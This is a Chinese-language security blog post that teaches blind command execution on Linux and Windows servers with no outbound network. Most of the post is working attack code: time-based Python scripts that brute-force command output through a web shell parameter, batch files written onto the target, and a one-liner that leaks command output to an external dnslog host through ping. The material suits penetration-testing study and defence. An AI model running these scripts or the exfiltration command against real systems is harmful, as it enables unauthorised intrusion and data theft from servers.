WEB

WEB安全

漏洞复现

CTF

常用工具

实战

代码审计

Javaweb

后渗透

内网渗透

免杀

进程注入

权限提升

漏洞复现

靶机

vulnstack

vulnhub

Root-Me

编程语言

java

逆向

PE

逆向学习

HEVD

PWN

CTF

heap

其它

关于博客

面试

杂谈

Windows/Linux下的无回显命令执行

假设服务器不出网并且web目录不可写

Linux可以用类似盲注的方式得到回显,这次主要写下Windows的,其实也差不多

0x01 Linux

这个方法其实挺早就看到过,不知道为什么现在反而找不到了

方法和延时注入差不多,截取命令回显结果循环进行对比,对比到了就用sleep延时

首先要了解linux if语句

1
2
3
4
5
6
7
if [ command ];then
符合条件执行的语句
elif [ command ];then
符合条件执行的语句
else
上面都不符合执行的语句
fi

这次只需要用到一个判断所以不用这么复杂

1
2
if [ 1 = 1 ];then sleep 2;fi		#这里的1=1条件成立就会执行下面的sleep 2语句
if [ `whoami|cut -c 1` = 'r' ];then sleep 2;fi #取出whoami第一个字符对比是否为r,是r则sleep2秒

Linux下反引号是命令替换,一般来说是将执行获得的结果再执行一次,这里可以理解为将命令的结果保存下来后等号后面的字符对比

cut 命令是切割字符串,whoami|cut -c 1就是得到命令结果的第一个字符,以此类推

在一些回显中可能会出现很多符号,还有中文什么的,为了避免回显结果不准确的情况可以通过base32编码后再执行cut操作

1
if [ `whoami|base32|cut -c 1` = 'r' ];then sleep 2;fi

这里使用base32的原因是base32只有大写字母和2-7和=,减少了爆破字符数量,提高了回显结果的精准度

下面用python写个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import string
str_zf = string.ascii_uppercase + "234567="

cmd = "pwd"
url = "http://10.130.4.204:8081/index.php?cmd="

def get_result(cmd ,url):
result = ""
for i in range(1, 65535):
for s in str_zf:
payload = "if [ `{}|base32|cut -c {}` = '{}' ];then sleep 5;fi".format(cmd, i, s)
url_payload = url + payload
response = requests.get(url_payload)
time = response.elapsed.total_seconds()
if time > 3:
result += s
print(result)
break


if __name__ == '__main__':
get_result(cmd, url)

执行结果:

解码后得到:

0x02 Windows

在Linux中可以通过ping带出命令,但是Windows不会把命令结果拼接到dnslog上,可以用for循环得到结果再进行拼接

1
for /F %i in ('echo a') do ping -n 1 %i.qzdxj3.dnslog.cn

这里就是多提一句,重点还是在不出网的情况下

Windows中的问题就是命令结果保存在哪里,并不可以像Linux一样直接截取

这次假设是web目录不可写,那就需要思考下写到别的目录该怎么读到

  1. 将命令回显的结果写到一个可写的目录下
  2. 使用certutil将命令结果base64编码,原因同上可以避免特殊字符,提高结果的准确度
  3. 用findstr /V参数去除多余的字符,将去除掉多余字符的base64编码再次写入一个文件
1
2
3
4
5
6
certutil -encode d:\\a d:\\b			#编码命令

文件格式:
-----BEGIN CERTIFICATE-----
base64
-----END CERTIFICATE-----

去除的是首行尾行的多余字符,\V参数是匹配到相同的字符然后去除

  1. 用for循环去除换行符
  2. 写入bat对比字符串
1
2
@echo off
(for /f "delims=" %%i in ('type "d:\c"') do (set /p =%%i<nul))>"d:\d"

先写入上面的bat去除换行符

1
2
3
4
5
6
7
8
@echo off					#不打印输出
findstr /b %1 "d:\d" #%1是接收输入,"a.bat 123"这样123就会到%1这个位置
#/b是从头开始匹配
IF ERRORLEVEL 1 echo a&&goto end
#ERRORLEVEL是类似错误号的东西,如果上面这个命令执行成功了就返回0,反之1,如果匹配不到的话这里就是1,然后goto跳到end,这里用goto原因是ERRORLEVEL不会传到下个命令,在下个命令看来IF ERRORLEVEL 1 echo a这个是执行成功的所以返回0,也会触发延迟,为了避免所以使用goto跳过
IF ERRORLEVEL 0 ping 127.0.0.1
#这里就是成功匹配返回0触发延迟
:end

然后再写入bat匹配字符串

1
2
a.bat 正确字符----延迟
a.bat 错误字符---不延迟

同样用python写个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
import string
command = "echo flag >d:\\a"
base64 = "certutil -encode d:\\a d:\\b"
base64_clean = "findstr /V \"^---\" d:\\b > d:\\c"
echo_b_bat = "echo @echo off>>d:\\b.bat"
echo_b_bat2 = "echo (for /f \"delims=\" %%i in ('type \"d:\\c\"') do (set /p =%%i^<nul))^>\"d:\\d\">>d:\\b.bat"
start = "d:\\b.bat"

echo_a_bat = "echo @echo off>>d:\\a.bat"
echo_a_bat1 = "echo findstr /b %1 \"d:\\d\">>d:\\a.bat"
echo_a_bat2 = "echo IF ERRORLEVEL 1 echo a^&^&goto end >>d:\\a.bat"
echo_a_bat3 = "echo IF ERRORLEVEL 0 ping 127.0.0.1>>d:\\a.bat"
echo_end = "echo :end>>d:\\a.bat"


cmd = [command, base64, base64_clean,echo_b_bat, echo_b_bat2, start, echo_a_bat,echo_a_bat1,echo_a_bat2,echo_a_bat3,echo_end]
url = "http://127.0.0.1/system.php"
for i in cmd:
data = {
"pass": i
}
requests.post(url, data=data)
print("[+]init success")

bp = string.ascii_letters + string.digits + "+/="
cmd_base64 = ""

for i in range(1,65535):
for s in bp:
data = {
"pass": "d:\\a.bat " + cmd_base64 + s
}
response = requests.post(url, data=data)
time = response.elapsed.total_seconds()
if time > 3:
cmd_base64 += s
print(cmd_base64)
break